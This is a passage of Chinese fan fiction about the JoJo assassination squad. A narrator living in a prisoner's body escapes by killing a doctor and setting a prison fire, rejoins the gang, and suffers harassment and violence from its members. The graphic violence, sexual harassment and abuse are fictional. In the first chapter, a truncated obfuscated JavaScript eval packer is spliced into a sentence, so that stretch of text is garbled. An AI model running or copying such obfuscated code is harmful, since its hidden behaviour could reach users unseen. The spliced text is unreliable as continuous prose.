我还在一个盒子里翻出一些安眠药。我不觉得这是琳赛自己在吃的,因为我在梅洛尼的药箱里看到过同样的包装。看来她在监狱里也没放弃自己的老本行。我甚至还找到两本花花公子杂志,我不知道这些东西是卖给谁的。 如果是真的琳赛的话,她一定有什么门路能“进货”,但现在我在这儿什么都做不了。也许过两天我该找个借口把这钱退了,我还是不太想毁掉琳赛的声誉,更不想因此结仇。 事实说明和里苏特的会面给我带来的影响并没有那么容易消退。我连着几天的状态都很差,吃饭的时候心不在焉,洗漱的时候心不在焉,连走路都走神。我每天翻来覆去很难入睡,睡着了也没过多久就醒来,然后再也睡不着。 在我少的可怜的睡眠时间里我还总是做噩梦。我梦见索尔贝扭曲的人体切片,梦见乔鲁诺拿枪指着我的脑袋,或者梦见我在医院里,被砍掉胳膊和腿,挖去眼球,缝上嘴唇,只保留基本的生命体征来给其他人作出背叛的警告。 最近一次我还梦到加丘。他被钉在路灯上的场景总是出现在我的梦里,但这一次他转过头,那张狰狞的沾满鲜血的脸对着我,他瞪着眼睛,说话时声音很嘶哑。伊莎贝拉,他说,你为什么不杀了乔鲁诺乔巴拿? 我说不上来他身上带着的那是一种什么情绪,愤怒,怨恨,不甘,或者其他的也有。我的身体动不了,我几乎不能呼吸,我们两个都身受重伤,而加丘只是机械地,一遍一遍地质问我:你为什么不杀了乔鲁诺?你为什么不杀了他?杀了他,伊莎贝拉! 我尖叫一声惊醒,从床上坐起来,大口大口地喘气,感觉自己出了一身的冷汗。我感觉自己快疯了。我甚至想现在立刻出去给组里打个电话点名让加丘来接,然后听他骂我一顿,好像只有这样才能缓解我的神经衰弱,我迫切地想确认一切都还没有发生,确认所有人都还活着。 我不免想到如果加丘知道那时候他死了而我没死会是什么心情。我不希望他生命的最后时刻是恨我的,但恐怕事实如此。我真的不想自己作为组里唯一一个幸运儿活了下来,我宁愿自己被一枪崩了,而不是被送去抢救然后动手术截肢,昏迷近好几个月占着床位吸氧,就像在对每一个路过的人说“看哪,这就是背叛热情的代价!” 我为什么不杀了乔鲁诺?我恨他,可我拿他毫无办法,我现在完全成了他用来巩固地位的工具,我甚至什么都做不了,只能蹲在监狱里数着日子等出狱。我想不通如果乔鲁诺真的希望靠我来改变些什么,那为什么不给我安排一个合理的身份——健康的,自由的身份,或者派他那个枪手米斯达来干这个?总不可能是因为他信任我多于信任他吧! 乔鲁诺身上有很多我完全没法看穿的东西。他一定向我隐瞒了很多事,而我一无所知,只能拿自己的生命不断试错,一次又一次地经历死亡——为什么是我,为什么是我?!我本以为我足够勇敢,我连死都不怕,可经历了这些我才意识到自己是个多么软弱的人,我现在就开始害怕,而一切甚至都还没发生。我痛苦地抱住脑袋,我的头很疼。 我听见帕莎在下铺敲了两下我的床板,她问我还好吗?我说没事儿你睡吧,我就是做了个噩梦。帕莎觉得我不像没事,她说如果我真的精神创伤影响生活到这种地步的话,可以去开点安眠药。我想说不用,我昨天还找出来几盒。 帕莎安慰了我几句,确信我不会情绪失控一头在墙上撞死之后翻过身睡了。她的确是个不错的朋友。 我想下床去喝杯水,顺便找两片安眠药吃了,暂时解决一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我从她身前的架子上找到医用酒精,拧开盖子倒在地板上,还有一些在她身上。刺鼻的气味混着血腥味钻进我的鼻腔,我感到一阵反胃。我脱下女医生身上的白外套,把自己的外套也脱了,然后象征□□换了一下我们的穿着。做完这一切,我从裤子的口袋里掏出打火机,点燃了酒精。 火焰迅速地在地板上蔓延开来,几乎比我预估的速度还要快。我的手心在冒汗。我拿起那桶酒精,顺着门缝往外泼,让它一路向外流去。房间的温度迅速升高,火焰在地板上跳跃,窜上了窗帘,烟雾很快地充满整个房间,触发了天花板上的烟雾警报器。一瞬间红光亮起,水像浴室花洒一样浇下来,淋湿了我。 警报声响起,我听到由远及近的脚步声,顾不上多想,我推开房门,顺着楼梯快步跑了出去。火焰已经顺着门缝烧到了走廊里,广播开始紧急疏散,脚步声像倾泻的洪水,而我浑身湿漉漉的,穿着不属于我的白大褂被挤在人流中央,感觉自己也像在被灼烧。 监狱里乱作一团,我混在人群中下楼,往活动的空地上跑。那名医生一定是死了,我突然希望自己那一锤能让她当场死亡,那会比生生烧死要好很多——真奇怪,明明我自己的性命都岌岌可危,我却还惦记着一个陌生人的死。 我转过头,看见楼房的窗口冒出浓烟。四周早就乱作一团,一辆消防车从后门开进来,跟着一辆救护车,几名消防员扛着水管从车上跳下来,其中一个看见我穿着白大褂,竟还问了我一句里面有没有伤员。真够黑色幽默。 我逆着他们的方向往门口跑,和几名真正的医护人员擦肩而过,就这么畅通无阻地跑出了大门。我身后传来狱警的叫喊声,囚犯的议论声,一片混乱,尖锐的警笛刺痛我的耳膜,我拼命往前跑,一切都虚幻得不真实。 我已经数不清这是自己第几次不顾目的地拼命跑了。好在琳赛的身体素质比奥利维娅强很多,不至于让我再像之前那样在半路晕倒。 监狱附近是一大片树林,没有居民区,公路横穿在中间。我跑过一个转角,险些被迎面驶来的车撞倒。汽车的鸣笛声震得我耳膜生疼,我在原地定了两秒,那车竟然也掉了个头,在我面前停了下来。 车窗被摇下来,我瞪大了眼睛——我看到一头金发,一张我再熟悉不过的脸。驾驶座上的男人探出头,我们四目相对,他说琳赛,是吧?然后他摆摆手,示意我上车。 普罗修特。 我被惊讶得手脚无法动弹,但我的身体本能还是先我的大脑一步拉开车门把自己往车里塞。我有太多的话想要问他——普罗修特为什么会在这儿?他为什么会知道我今天想要越狱?他为什么会知道我会放火从后门溜走? 我不知道。普罗修特这么回答道。他调转方向,一脚油门把车开上了公路。——里苏特告诉我们你在这座监狱里,所以我一周前就在这里等。 一周前?我惊得几乎说不出话来,我问他你就这么确定能等到我?他嗤笑一声,说我还不了解你?你都敢直接往据点里闯,怎么可能甘心困在这儿。这话说得就像我们有多熟一样,就像——就像我还是伊莎贝拉。 我问他里苏特知不知道他来这儿,他说不知道,沉默片刻后又向我坦白,说其实上次带我走里苏特也不知道。他其实是想带我去赌场见一位干部,好确认一些未来的事,只不过因为我的衣服实在是“太上不去台面”才选择先带我去买衣服。我震惊之余心里又有一种莫名其妙的理所当然——是啊,普罗修特总是这样。他一点儿也没变过。 我问他里苏特知道你擅自带我出去之后你们有没有吵架?他没好气地说那是当然。我没忍住笑了。那我们接下来去哪儿?他说车站,我会给你一个假身份,带你回那不勒斯。我皱眉,说那这车呢?普罗修特头也不抬地说这是他抢的。 我突然意识到了什么。我扒着座椅转过头,果不其然在后座上发现了一具干巴巴的男人尸体。我叫道你怎么不放到后备箱去!普罗修特给我的回应是故意狠踩一脚油门,紧接着一个转弯,我没系安全带,差点被撞到车窗玻璃上,我尖叫了一声,他笑了。 路旁的栏杆向身后飞驰而去,我靠在座椅上,呼出一口气,感觉紧绷的神经终于得到了片刻放松。我看着普罗修特专注开车的侧脸,突然觉得很想抽烟。 —to be continued— 7. 规则与规则之外 我们驱车前往车站,一路上普罗修特话说个不停,我很少见到话这么多的普罗修特。我猜是因为现在贝西不在他身边他少了一个说教对象。 普罗修特问我在监狱过得怎么样,我说还能怎么样,你没蹲过局子?物价在那里是外界的十倍以上,你想过得舒服点儿,要么懂点拳脚,要么做点生意,而我就是后者。 其实琳赛才是这个商业帝国的创建者,而我只是在她快死的前不知道多少天来到了她身上,接手了她的生意。这听起来够怪的。 来到车站,我们买了两张去那不勒斯的票。距离发车还有两个小时左右。我的打扮引来了不少目光,普罗修特皱着眉拽着我把我塞进公共洗手间,要我脱掉外套,然后把他自己的外套递给我。我顺从地按照他的指示脱掉那件带有烧焦痕迹和血迹的白大褂,将它扔到垃圾桶里,然后披上他的西装外套。 普罗修特有很多套西装。现在我身上披着的是一件红色的条纹西装,十分张扬的款式。我站在镜子前整理领子,发现这颜色很像琳赛的头发。 我走出来,普罗修特抱着胳膊站在门口等我。现在他上身只穿着一件明黄色的短袖衬衫,下身是红色的条纹西裤。我突然觉得这样看来,我们就像一对普通的交换衣服穿的热恋期情侣。我挽着他的手往大厅走,显然普罗修特进入角色也很快,他很放松。 我随意找了家餐厅吃饭。在监狱吃了快一个月的过期香肠配全麦面包,还有偶尔夹着虫子的绿叶蔬菜,终于吃到正常食物让我不禁感叹出声。普罗修特对我狼吞虎咽的样子表示嫌弃,他骂我没出息,我边吃边还嘴,说你去吃试试,他说他又不是没进去过。 又过了大概一个多小时,我们上了列车。我还是忘不了乔鲁诺拿替身手表这种说辞骗我。我的座位靠窗,我吃饱喝足,看着窗外的风景飞快地后退,又开始犯困。我的口罩是新的,普罗修特甚至为我准备了新的口罩以免有人认出我(虽然他不知道我要放火,但它的确还起到了它该发挥的作用)——你看吧,普罗修特就是这样,他会在你意想不到的地方做足准备,同时也会不听指令按照自己的想法做事。 普罗修特看我在那一直给空气磕头有点无语,他往我旁边挪了挪,让我靠在他肩膀上。我没想到他接纳我这么快,毕竟半个多月前他还往我舌头上烫烟疤。我靠在他肩膀上,困倦地闭上眼睛休息,这一切让我很累。 这场面呈现出一种诡异的温馨和和谐:旁人看上去是一位红发女士枕在她英俊的伴侣肩膀上睡觉,但其实这两人杀人无数,并且这位女士刚刚放火烧了半个监狱。 等我们到达那不勒斯时,天已经黑了。我的头还是有点疼,我跟着普罗修特下车,又上了一辆计程车到一家大餐厅,我们下车再一路兜兜转转,总算是到了据点。 — 普罗修特拿钥匙开门,我从正打开的门缝里往里看,屋内很昏暗,响着电视机的声音。 我们走进去,迎面撞上里苏特阴沉的脸。我听见电视里新闻频道的女声正播报着圣维托雷监狱的大火,里苏特一定是猜到了。他的红眼睛瞪着我,很吓人,转而是普罗修特。里苏特质问他为什么接她越狱,普罗修特说这女人关不住的,她自己想出来是迟早的事——这场景实在是很不妙,我趁着他们吵架的间隙蹲下身子,从他们身体之间的空隙钻了出去,溜进了客厅。 霍尔马吉欧坐在沙发上看电视。他看见我来了,乐呵呵地招呼我过来。我走过去坐到他旁边,看见里苏特和普罗修特还站在门口对峙,贝西正站在楼梯上犯难,想去迎接他大哥,但眼下这个情况不敢过去,只能哆哆嗦嗦地站在原地观望。 电视屏幕里是监狱火灾的画面,记者在现场播报道大火蔓延了整个楼层,疏散囚犯的过程中发生了踩踏事故,造成了上百名囚犯受伤,其中十几名囚犯死亡。霍尔马吉欧一条胳膊勾住我的肩膀把我往他身边靠,说你可真有本事啊。 我能听得出他话里的讽刺意味。我心虚地笑了笑。其实我没想到会变成这种结果。我说你都知道了?他耸耸肩,说这新闻两个小时前就播过一次了。我咽了咽口水,看着电视屏幕,又偷偷瞟了一眼霍尔马吉欧。霍尔马吉欧也看向我,挑了挑眉,他的绿眼睛里藏着晦暗不明的情绪。 霍尔马吉欧拍拍我的肩膀,说他和伊鲁索打赌,我死后会不会附身到一个更漂亮的女人身上,他说会,伊鲁索说不会。霍尔马吉欧笑着说看来是他赢了。我有点无语,说你们要是闲成这样就去社区做义务劳动。 霍尔马吉欧摸了一把我的头发,说你这是什么造型,我没好气地说你要是在监狱你也会疯成这样的。他哈哈大笑,很用力地揉揉我的头发。 “真是没办法啊,你真是个小惹祸精,你就是想做我们的小麻烦,是吧——”他把我搂进怀里,我有点生气,我问他我给你们惹了什么祸,该不会是假释的事吧?霍尔马吉欧摇摇头笑了,说你不知道吗?普罗修特差点因为你挨打。 这下我彻底懵了。我问他怎么回事,他指了指不远处正在争论的里苏特和普罗修特,“喏,你聪明的小脑袋应该猜得到吧?普罗修特要带你去见干部,里苏特不允许,他想留你在据点里。然后你就知道了,普罗修特擅自把你带走,你出了车祸——哎呦,自从小队正式成立来,我就很少看队长这么生气了,这还是第一次。” 我知道这帮人有时会靠暴力解决问题,就像我刚来据点就被索尔贝一顿拳脚伺候,但我真没想到里苏特会因为一个女人想要动手——噢,差点忘了严格来说我不是一个女人,我只是一个能预知未来的像鬼魂一样的家伙。 里苏特和普罗修特吵个没完,我想去劝架,被霍尔马吉欧拦住了,他笑着说你就在这儿等发落就行,反正杀不死你。我不喜欢这样。 普罗修特并没有他看上去那么完美,他不是没有缺点的人。他经常先斩后奏,性子急,还有点大男子主义。里苏特则正好相反,他习惯隐忍,习惯沉默。最初暗杀组刚刚成立的时候,这俩人的矛盾没少过。 我正拿霍尔马吉欧当临时避风港来偷听他们吵架,却突然听见电视机里传来熟悉的名字,我抬头一看,屏幕上赫然是琳赛举着牌子的入狱照。与此同时主持人的声音响彻我的耳朵:因走私罪入狱的琳赛·格伦在事发后疏散时被发现不在监狱内部,初步判断已经越狱,现将其列为主要嫌疑犯之一,目前已开始在监狱周边地区进行搜寻。 我惊叫道我他妈的被通缉了?!霍尔马吉欧被我的反应逗得哈哈大笑,他贴上来,“这下你知道了吧,哥哥们的生活可全被你搅乱啦!你真的是很有能耐啊——”霍尔马吉欧搂着我,像撸猫似的揉我的头发,我心想我他妈现在可比你们所有人的年龄都大。 “——哎呀,你回来啦?” 我听见一个熟悉的声音。事实证明客厅里的动静太大了,已经吸引了更多的人。随后我就被从背后抱住,差点跌在霍尔马吉欧身上。是梅洛尼。他看见我非常激动。 我看见他倒是没那么激动。我问他你怎么就知道是我?他笑眯眯地说队长都跟我们说过啦,红头发的女孩儿,瘦瘦高高的。我说我叫琳赛,琳赛格伦,他说好名字,然后挨着我坐下,握着我的一只手抚摸,接着上移到胳膊。梅洛尼说你这身体很好,比上一个健康很多,线条也很漂亮,只可惜不太真实。你隆过胸吧? 我实在无语,抽出胳膊给了他一个巴掌,可他一把抓住我的手腕,舔了一下我的手心,然后攥住了我的手。 “你真是一团糟,看看你,头发干枯没有光泽,皮肤暗沉,黑眼圈,嘴唇干裂……你失眠吧?”梅洛尼的呼吸紧贴着我的手掌,我觉得莫名的紧张。我说你要是进局子蹲一段时间你也这样,你要是嫌我恶心就赶紧放开我,让我一个人待着去吧。 梅洛尼对此的回答是再一次从身后抱住我,他说不,你这样多真实,多漂亮!我爱惨了你这样了——我想多了解你一些!我还没明白他的话,下一秒我们两个就一起倒在了地板上,我被梅洛尼按着,我感觉到腰间有三只手——还有一个是娃娃脸的腿部。 “——原来如此,你还有这方面的癖好!你还流过产呢!两次,还是三次?你和你前男友做的时候用的是什么姿势?后背位?还是——” 梅洛尼压在我身上,噼里啪啦地敲键盘,也许是真的在监狱里关了太久,听着他兴奋的盘问,我心里竟然产生了一种熟悉的亲切感——可我对这种场景还是喜欢不起来。我尖叫着蹬腿,眼神向霍尔马吉欧求助,希望他能来把我们两个拉开,可他只是司空见惯地看了我一眼。 “梅洛尼,够了!” 里苏特大声呵斥道。梅洛尼悻悻地放开了我,看上去意犹未尽。我看见梅洛尼的绿眼睛,那里面有一种纯粹的,冷冰冰的恐怖。 我站了起来。里苏特从门口走到客厅的沙发旁边,手很用力地按住我的肩膀,迫使我在身后沙发的扶手上坐下。我的肩膀很疼。里苏特说我现在正被通缉,不知道警察会不会找到那不勒斯,我们需要时刻保持警惕,并且保护好我。 我叫道我才不想被保护,我是你们的一员!几双眼睛一同看向我,我突然有点心虚。的确,我没有替身,没有武器,身怀重要的情报,无论怎么看都是个重点保护对象。我看向里苏特,希望他能给我一个说法,可他只是转过头,回到书房去了。 梅洛尼也转身走了。我维持着在沙发扶手上坐着的姿势,感觉身体很僵硬。普罗修特看了我一眼,也没说话,他上楼去了。电视里新闻频道的声音还在响着,除此之外据点里安静得没有一点儿声音。贝西怯生生地走过来,问我,大哥和队长怎么了?我摇摇头说这恐怕一时半会解释不清楚。 霍尔马吉欧还在沙发上坐着,他冲我笑了一下,我犹豫了片刻,从扶手上跳下来,也上楼去了。我径直走到那间勉强能被称作我房间的杂物间里,翻开床垫,从底下拿出那片小小的铁吊坠。我轻轻摩挲着那角落里的花体字刻痕,感到心里升起一种复杂的情感。我有点想哭。 一切都发生得太快,我不知道我该怎么去面对。我攥着铁吊坠,去书房找里苏特。 他坐在椅子上,书房里没有开灯,我站在他对面,感到一种莫名的紧张。我说我们必须得找到索尔贝和杰拉德。如果一定要和命运做对抗,我们首先就要阻止这一切的发生。 里苏特反问我,命运原本的样子是什么?我愣了一下,说索尔贝和杰拉德被杀死,然后我们为了抓住老板的把柄,和护卫队抢特里休——我没继续往下说,我突然明白里苏特的意思了。 特里休。 我看见里苏特点头。特里休是整件事情的关键。如果我们能得到她,也许命运就能有转机。里苏特起身为我拉开一张椅子,我告诉他两年后,老板会给护卫队下达护送特里休的任务,而在这之前都对特里休的存在一无所知。我们要利用的就是这两年的时间差,先他一步掌握特里休。 里苏特与我的观点一致。他把他们现在所掌握的都向我梳理了一遍,一切如我所说的一样都指向特里休同一个交点。 我问里苏特,能不能让我去绑架特里休?等事成之后,我再向其他人解释。他被我直白的语言噎了一下。里苏特站起身来,低下头看我,他说你太激进,你这样冲动行事,不考虑后果。你有什么本事? 里苏特这么质问我,现在的我也没资格生气——我的确没有本事。现在我没了替身,没了光明正大动手的身份,只剩一张吃饭的嘴。我说是来拯救他们改变命运,但我现在寄居在这群人的房子里,反而还要靠他们来保护。这次再加上越狱犯的身份,更是给这群人加了个大麻烦。 可问题是时间有限,我根本没时间考虑后果,若真想和未知的变数抗衡,趁事情还没到无可挽回的地步,只能放手一搏。 “我知道我对你们有所亏欠,现在无论如何我只想请求这一件事让我做主,”我说,“就让我来冒这一次险,……这是我必须做的。” “你该给我一个更有说服力的理由。” “我死了还有八条命,可你只有一条。这算不算?” “——你是觉得我怕死?” “不……我知道,我们都不怕死,可是——”我觉得自己在颤抖,“……如果能有一个活下来的机会,我希望是你而不是我。你不该死。” 我站起来,拿出那枚小小的铁吊坠,想递给里苏特,他抬手悬在空中,停了一会儿。 “走上这条道路就注定会死,你我都一样——没什么该不该。” 里苏特没有接,只是用手指轻轻触碰光滑的表面,抹去了表面的刻痕。 我鼻子一酸,泪水模糊了我的双眼。 我哭了很久。里苏特一直沉默着,抚摸我的后背,就像我入队的第一年那样,就像我还是个小姑娘。唉,我的好队长——我常想为什么我明明已经遇见了过去的里苏特,却还是没能替他分担些什么? 我红着眼睛从书房出来,迎面遇上了伊鲁索。他见我这幅样子,挑眉作惊讶状,说哟这是怎么了,挨训啦?也许是因为知道最近发生了什么的只有我和里苏特两个人,我老感觉组里的其他人一个比一个闲。 我没理他想走,可他成了心的挡着我不让我过去。见我真不想搭理他,他又没话找话换了个话题,说霍尔马吉欧非说他输了,代价是要请客吃一个星期的饭,可在他看来我哪点姿色都比不过上一个奥利维娅——我没心情陪他扯没用的,说你不想请就去找他说,找我诉什么苦?你要这么喜欢那女的,当时我死了你怎么没跑去捡尸啊?他骂我嘴太毒,我心想也不知道嘴毒的到底是谁。 ——不过我真好奇,普罗修特为什么突然带你出去消费?我可知道这家伙在穿着上花钱一向是大手笔,他的衣服都是定 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回来的时候我端着水杯,站在他房门口不禁开始思考。如果真要绑架特里休,梅洛尼毫无疑问是最佳的人选,如果我们能打配合的话——你在看什么呢?梅洛尼突然笑眯眯地出现在我背后,我吓了一跳,水洒了一身,水杯也险些光荣殉职。 梅洛尼的脸在电脑屏幕的荧光下真像恐怖片里的女鬼。我叫道你吓死我了,你走路怎么没声音啊!他反问我大半夜不睡觉在人家房间门口鬼鬼祟祟地是想干什么?——难不成你还有偷窥的癖好吗,变态狂小姐? 我被梅洛尼用变态这个词来称呼。不知道怎么说,挺奇怪的。 我洒了一身水,这下倒是完全清醒了。我跟他说我睡不着,正好路过你房间,其实我想说——我话还没说完就被他拽到了房间里面,他说你来得正好,我想给你看看这个!梅洛尼很激动地把娃娃脸端到我面前,屏幕上是一对赤身裸体的男女。 也难怪梅洛尼能第一时间接受我是个穿越者这件事实,因为我发现他的生活简直他妈的魔幻。 我努力表现出一副很感兴趣的样子,说没想到你真会把我之前说过的话这么快就付诸行动——不如给再它加一个B超机的功能怎么样?我开玩笑的你千万别当真啊。 梅洛尼问我娃娃脸之后怎么样了?我说反正它很厉害,真的,就算是在像我这样见过大风大浪的人眼里它也是非常独特的存在——你能不能放开我? 梅洛尼很无辜地把掐着我两个手腕的手松开了。他把下巴搁在两只手交叠的上方,歪着脑袋看我,说他是真的很喜欢我。对他来说,我就像突然降临的缪斯女神一般,他在我身上看见了许多从未见过的东西。 梅洛尼很兴奋地向我展示了一系列他在我来到据点之后对娃娃脸的新开发资料,他一说到自己感兴趣的话题就会沉浸在自己的世界里,我听不懂,就又开始走神。我盯着椅子上堆着的那一堆衣服开始发呆,突然想到得知奥利维娅死时梅洛尼会是什么反应?——也许他什么反应也没有,毕竟奥利维娅只是一个女人。 我想了一下,还是找了个空隙把我绑架特里休的计划跟梅洛尼说了。他夸奖我疯狂大胆,敢说敢做。从现状来看这两句话比较像讽刺。梅洛尼还不知道索尔贝和杰拉德的事,他只好奇我为什么总像在和一个看不见的东西赛跑。我看着他被皮革手套包裹着的细长的手指,伸出手,很用力地握了一下。 — 我只睡了加起来不到两三个小时,从第二天早上就开始犯困。我走到客厅,电视里还在放新闻频道,由于我现在身份的特殊性必须得时刻关注警方调查的动向。没想到时隔多年我竟然又做上了这种反侦察的勾当。 我没有换洗的衣服,昨天身上洒了水就直接脱下来放在窗台上晾着,再醒的时候我去摸了一下果然还没干。我从梅洛尼给奥利维娅买的那一堆衣服里挑出一件勉强能套进去的换上,连衣裙当上衣穿,大腿镂空的设计现在被我穿到了腰上往后系着,配上一条松松垮垮的囚裤,看上去怪傻的。 上午的时候加丘回来了。他一进门就开始狂飙意大利国粹,怒斥目标是多么百年一遇的奇葩,让他通宵追了三天才得手。我们都习以为常,等他骂够了自然就消停了,可等他骂完看见我却又开始火大——他大骂要不是普罗修特非要整那些幺蛾子,怎么会轮得到我这种人进组?我忍不住说你们一个两个的到底是对我意见多大? “他妈的别以为老子不在就不知道,你被通缉的事半个意大利都快知道了!” 普罗修特始终阴沉着脸。霍尔马吉欧和伊鲁索这时候倒统一了战线,笑嘻嘻地把我护在身后。其实见到加丘我挺开心的,我想知道如果告诉他我在监狱里总做关于他的噩梦他会是什么反应。 所有人都聚齐了,中午我们就开了个会。里苏特把索尔贝和杰拉德的事告知了众人。虽然我知道我们作为杀手不该大惊小怪,但他们的反应还是比我想象的要平淡很多。也许就像我之前想的一样,正是因为他们什么都不知道,所以并不会太害怕,而我经历了一次死亡,再回到过去的节点碰到相似的事件,自然就开始畏手畏脚了。 人真正害怕的往往是事情还没发生的那一部分。 我本以为开过会了解了自己的处境之后这帮人能有点儿危机感,但事实是根本没有。霍尔马吉欧甚至还跟我抱怨都怪我越狱回来害得他们必须得守着新闻频道看不了球赛,他的人生里有一半以上的时间在开玩笑看热闹,只要火没烧到自家后院对他来说就都能算无事发生。 米兰的警察像群没头苍蝇一样乱转,我怀疑这事儿甚至都不需要劳烦热情出面自己就过去了。我每天醒了就看电视,看书,或者随便找个人聊天。我突然理解为什么有些人不希望死后有来世,这一个多月的经历已经把我折腾坏了。 电视里对我的报道越来越少,我渐渐淡出了人们的视野。这个时候组织还没有开始对暗杀组的打压,所以活还都挺多,所有人都很忙。我成了最闲的那一个。 我就这么惴惴不安又心安理得地消磨时间,像个不愿意相信世界上没有圣诞老人存在的孩子,期盼时间给出我想要的答案——直到某一个和平常一样的晚上,我再一次听到圣维托雷监狱相关的新闻报道。 “…昨日,圣维托雷监狱的囚犯前往纺织工厂进行协助劳动时,一台机器发生故障,速度调节器失灵,导致多名囚犯受伤,其中一名囚犯死亡。” 我心中一惊。我看向另一侧沙发上的普罗修特,很明显他和我一样有了某种不太好的预感。在我们回来的途中,我向他说过我原本死因的事。 “死者名为帕莎·帕洛玛,25岁,半年前因打架斗殴入狱,事发时…” 听到这个熟悉的名字,我屏住了呼吸。 帕莎。 —to be continued— 8. 替死者 命运总爱捉弄人,就像现在——在工厂机器里被绞死的人变成了帕莎。她代替了琳赛,代替了我死去。 我感到其他人也都察觉到了什么,因为再没有人大声说话,或者是我的耳鸣声太大,什么都听不见了。 我想起乔鲁诺告诉过我的一些故事。在原本的世界线里,布加拉提小队受委托调查雕塑家女友离奇的死亡事件,却意外结识了替身使者史可里皮与“滚石”。命运的滚石是每个人结局的具象化,不会因为任何人停下脚步,被它接触的人更是会直接以注定的方式死亡。 枪手米斯达与史可里皮展开了一次搏斗。一行人相逢时,滚石上幻化出了布加拉提的死相。也正是为了改变命运,米斯达怀抱着滚石从楼上坠下,将滚石摔了个粉碎。本以为这样能改变结局,可命运却以相似的方式再度重演。即便结局无法改变,这群人也还是踏上了这趟注定死亡的行程。 结局真的无法改变吗? 也许原本如此,可镇魂曲已经向我们展示了一种全新的可能:一条全新的世界线,并且这次意外向我们验证了这种可能——我作为琳赛,在既定的死期之前越狱,并直接导致当天我并没有出现在工厂。取而代之的,帕莎死在了工厂机器下。 我头皮发麻。尽管越狱时我并没有想到这一点,但我的确创造了新的机会——回到过去并不能阻止事情发生,但可以将军既定的命运转移到其他人身上。也许是恰好满足了某种时间和空间条件,才导致帕莎成了这个替死的人。 这种与原本结局吻合的条件,才是真正的关键。 电视内的警笛声响彻客厅,与我的耳鸣微妙地重合。屏幕内受伤的囚犯被抬上担架,帕莎的脸血肉模糊,若没有字幕标明几乎分不出人形。帕莎的尸体被盖上白布,我看向旁边的里苏特,不知道自己现在是怎样的一副表情,但他意会地点点头。 普罗修特和加丘不在据点里,其余的人先召开了一场临时会议。我讲出了我现在的想法——如果能将索尔贝和杰拉德的命运转移,说不定就能将局势逆转。没人在第一时间说话,每个人都在思考。 也许我的猜测是正确的,可在得知结局的第一时间我就通知了里苏特将他们送走避风头,现在又为何会走回同一个轨道?我又开始头疼,如何找不到新的突破口,那这一切只能称为猜想,帕莎的死也排除不了巧合的可能。 “——如果有其他女人继承了奥利维娅的死因呢?” 一旁久久没说话的梅洛尼突然开了口。我看见他的眼白泛着粉色,明显是又用药了。也奇怪,这人清醒的时候不能将对话保持在全年龄频段超过三分钟,磕了药却能成为第一时间找出问题关键的人。 这句话的确提醒了我。如果真有其他妓女和奥利维娅曾经的死法相同,那就证明了我的想法是正确的。也许我们该派个什么人去俱乐部一趟——我环视一周,还是决定我自己去吧。梅洛尼和霍尔马吉欧太不正经,里苏特太正经,伊鲁索太刻薄,贝西还是个孩子(现在算是吧)。 我突然想到加丘总是不在据点里,能见到他的机会很少。在暗杀组的待遇还没那么差的时候,我们有很多工作要忙,而加丘因为替身能力的缘故总是被派去追击的那一个。我幻想他得知这些重磅消息的表情,一定很有意思。 当未来和过去产生联系,或者说有一个经历了未来的人来到过去,往往会导致一片混乱。科幻电影里是这样,现实里也如此。这些难以想象的令人头皮发麻的信息就这么强行钻进我的脑袋里,就像一场无预兆的□□。 我们一直谈到凌晨,从天黑到天亮。没有人有睡觉的心思,每个人都心事重重。这场突然的会议以里苏特让我去调查和奥利维娅死因吻合的女性结束。我拖着疲惫的身子上楼,差点被台阶绊了一跤。 我回到房间里,那个坏时钟还在响,此刻我却觉得它吵得恼人。我感到胸口闷闷地像窒息,拿起那个时钟,狠狠地摔在地上。随着一声巨响,碎片飞溅散落一地,我看着一地的零件,突然很想哭。我跌坐在床垫上,把脑袋埋进胳膊里。我不想乔鲁诺看见我哭。 我正坐在床垫上失神,还没从刚才巨大的冲击中缓过来,突然就被一把揪住了头发。发根牵扯着头皮,突如其来的疼痛和惊吓让我忍不住尖叫出声。我被强硬地拽着头发拖下来,膝盖重重地磕在地面上,钝痛闷闷地由接触面传向大脑。 我还没反应过来,又被抓着领子转过来,这次我清楚地看见了面前男人的脸——是普罗修特。他半眯着眼睛,神情愤怒,用极其厌恶的眼神看着我,像是看牲畜。 我不知道他想做什么,但我本能地开始发抖。普罗修特这样真的很吓人。“你怎么了?任务遇到麻烦了?——还是说你还在因为我越狱的事生气?’” 我试探地去抓他的手,想讨好他,被他一把拍开。 我不知道普罗修特到底为什么这么生气,也许是任务搞砸了,也许是因为我折腾他帮我越狱,或者是因为我在组里这么长时间除了给点情报没有一点贡献而且一直在闯祸——噢,也许都有。 我的膝盖还在疼,加上先前会议上承受的压力,我竟然鼻子一酸,掉了几滴眼泪。我原本没这么脆弱,可我这几天实在承受了太多压力。 普罗修特见我哭了,嗤笑了一声,“做错事还有脸哭?”他的语气很刻薄。 我低垂着头,浑身发抖,紧紧咬着嘴唇不敢哭出声。普罗修特却捏着我的下巴逼我抬头,迫使我与他对视。我不敢看他的眼睛。 “对不起,”我说,“……对不起。” “为什么道歉?给我说出原因来。” “我……我是组里的麻烦。我一直闯祸,什么贡献也没有。我没做对过一件事。” 普罗修特猛地扇了我一巴掌。疼痛让我瞬间从情绪中清醒出来,我的脸颊滚烫,他又掐了一把我的脸,“——在组里待着,你就该有点自觉。你是做什么的?” 我说我是伊莎贝拉,我和你们一样是□□,是杀手,我说过很多次了!回应我的是又一个响亮的巴掌。普罗修特叫我摆正态度,再说一次——梅洛尼曾经说过的,你在加入热情之前,是做什么的? 【这里肯定发不出来自主规制一下】 我擦了擦脸,胡乱地把脸上这些东西抹掉,然后径直走向卫生间洗脸。我看着镜子里熟悉又陌生的脸,红头发乱七八糟,脸上泛着红晕,嘴唇红肿,心想对不起琳赛小姐,让你承受了如此的无妄之灾。 我的脸颊火辣辣地发烫,肩膀上还残留着红印。我想到普罗修特从始至终都看不上我,但他却又在我越狱时出来接我。在普罗修特身上你会惊讶地发现看不起你和照顾你这两件事可以奇妙地共存,就像爱和恨是两回事。 